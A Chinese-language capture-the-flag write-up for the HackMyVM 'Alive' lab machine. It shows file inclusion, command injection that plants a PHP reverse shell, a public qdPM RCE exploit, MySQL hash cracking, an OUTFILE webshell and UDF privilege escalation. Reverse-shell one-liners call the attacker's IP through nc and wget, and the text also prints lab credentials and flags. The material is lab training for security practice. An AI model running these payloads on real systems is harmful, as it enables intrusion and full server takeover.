目录
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.101.127)
靶 机:debian(192.168.101.155)
注意事项:
①该类型靶场只能在virtualBox上搭建,因此将靶机设置为桥接网络,方便进行渗透。攻击机kali也要桥接出来,不然会出问题。
②靶机启动失败:设置中取消勾选usb即可
2、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录扫描)、python3(临时web服务)、nc(监听shell)、searchsploit(查找exp)、echo(写入文件)
Burp suite(修改发送数据包)
测试网址:http://192.168.101.155、http://digitcoder.alive.hmv
靶场介绍:由国外大佬搭建的靶场,类似于vulnhub,经常更新,需要翻墙才能进。
地址:https://hackmyvm.eu/machines/machine.php?vm=Alive
二、测试目的
通过文件包含漏洞获取shell,使用mysql进行提权。
三、操作过程
1、信息搜集
主机探测
arp-scan -l
靶机IP:192.168.101.155
物理机IP:192.168.101.241
端口和服务探测
nmap -sT -A -p- -T4 192.168.101.155
可以看到靶机开放22端口(ssh服务)、80端口(web服务)
目录扫描
gobuster dir -u http://192.168.101.155 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
只有一个主页和tmp目录,是空着的
2、Getshell
主页的url注入框,可以进行包含url,存在文件包含漏洞
www.baidu.com
用file协议查看/etc/passwd文件
file:///etc/passwd
存在一个普通用户alexandra和root用户
尝试包含当前页面的源代码
file:///var/www/html/index.php
可以看到成功获得页面源代码,使用了curl命令获取资源并输出
代码过滤了一些黑名单符号,但没过滤重定向符号>
尝试命令注入,将获取的资源重定向写入反弹shell
使用python3搭建临时web服务
192.168.101.127:8888/reverseShell.php > shell.php
但是没有成功写入
这时候想到给了一个其他目录,尝试写入tmp目录
192.168.101.127:8888/reverseShell.php > tmp/shell.php
可以看到成功请求
成功写入反弹shell
Kali攻击机开启监听,点击shell.php文件即可获取反弹shell
3、主机探索
Web网页只有主页和tmp目录,但在网页目录中发现其他目录
/var/www/code
Index.php可以找到mysql的一个用户名和密码
admin/HeLL0alI4ns
并且这个也是一个网页资源,试试找找这个网页有没有打开
/opt目录
靶机没有netstat命令,使用ps命令查看进程
ps -aux
可以看到启动了8000端口,使用php开启了web服务,根目录是/opt
先在/opt目录查看下源文件
一个zip文件,一个html没什么用
cd /opt
ls
cat index.html
解压zip文件,获取一串数字
cp backup.zip /tmp
cd /tmp
unzip backup.zip
cat digitcode.bak
使用包含靶机8000端口资源,也没什么用
/vat/www/code的web渗透
这个web感兴趣可以玩一下,最后的权限也是www-data,可以直接找提权方法,这算是作者留下的彩蛋。
在apache2的根目录查看网站配置文件有所发现
/etc/apache2/sites-available/000-default.conf
可以看到有所发现,网页目录是/var/www/html,当设置hosts地址:digitcoder.alive.hmv时,网页地址就是/vat/www/code
添加hosts进行访问
192.168.101.155 digitcoder.alive.hmv
可以访问,这个15位数字就是在/opt目录发现digitcode.bak文件内容
494147203525673
输入正确后会进入到qdPM的登录页,但是不知道登录的用户名和密码
尝试在源文件中寻找,发现使用了mysql数据库
/var/www/code/qdpmApp/check.php
找到数据库配置文件:
/var/www/code/qdpmApp/core/config/databases.yml
发现又一个数据库用户名和密码
qdpmUser/HeLL0alI4ns
mysql -u qdpmUser -p
HeLL0alI4ns
use qdpm_db;
show tables;
select * from users;
exit
这里有个问题,我无法获取交互式的MariaDB。输入sql命令后不会执行,在输入exit时,才会执行所有命令并退出。
可以看到登录email: [email protected]
但是密码解不出来
尝试数据库密码登录登上去了
[email protected]/HeLL0alI4ns
该webapps是qdPM 9.1版本
可以找到该版本的rce漏洞进行利用
searchsploit qdpm 9.1
searchsploit -p php/webapps/50944.py
cp /usr/share/exploitdb/exploits/php/webapps/50944.py 50944.py
因为url需要hosts,也要设置kali的hosts内容
echo '192.168.101.155 digitcoder.alive.hmv' >> /etc/hosts
python3 50944.py -url http://digitcoder.alive.hmv/qdpmApp/ -u [email protected] -p HeLL0alI4ns
成功生成后门文件
不过这个也是www-data权限,就没什么利用价值了
4、提权
写入webshell
mysql -u admin -p -e "show databases;"
查看数据库发现,admin用户可以查看mysql表
找出root用户的密码信息
mysql -u admin -p -e "SELECT host,user,password from mysql.user;"
root/*88B2B2E7392C149CE6B704871A568FD35798F9B8(thecondor)
解密网站(需要翻墙):
尝试用mysql的root查看文件,只能查看普通文件,root权限的文件看不了
mysql -uroot -p -e "SELECT load_file('/opt/index.html');"
mysql -uroot -p -e "SELECT load_file('/etc/shadow');"
写入文件getshell
mysql -uroot -p
thecondor
select "<?php echo shell_exec($_GET['ccc9wy']);?>" into OUTFILE "/opt/getshell.php";
exit
ls -la
可以看到,写入的文件是root权限的
用该文件进行反弹shell,得到的权限就是root
使用文件包含漏洞,访问内网8000端口上的getshell.php
http://127.0.0.1:8000/getshell.php?ccc9wy=nc%20-c%20%2Fbin%2Fbash%20192.168.101.127%209999
Kali开启监听,成功获取root权限的反弹shell
查看root.txt
SHELL=/bin/bash script -q /dev/null
cd
cat root.txt
819be2c3422a6121dac7e8b1da21ce32
user.txt在alexandra用户的家目录
cd /home/alexandra
cat user.txt
1637c0ee2d19e925bd6394c847a62ed5
UDF提权
查找udf的exp
searchsploit mysql udf
复制一份exp出来使用,并直接编译,编译成so文件
searchsploit -p linux/local/1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c 1518.c
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc
ls
上传so文件到靶机
wget 192.168.101.127:8888/raptor_udf2.so
查找plugin插件位置
mysql -uroot -p -e "show variables like '%plugin%';"
复制so文件到插件位置
cp /tmp/raptor_udf2.so /usr/local/mysql/lib/plugin/raptor_udf2.so
开始利用,导入so文件
mysql -uroot -p
thecondor
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/local/mysql/lib/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('nc -e /bin/bash 192.168.101.127 6666');
在攻击机进行监听,成功获取root权限的反弹shell
nc -lvvp 6666
id
四、结论
靶场内容很多,可以详细探索一下。利用了主页的文件包含漏洞,qdPM的web系统RCE漏洞。Mysql可以越权写入文件,使用udf提权。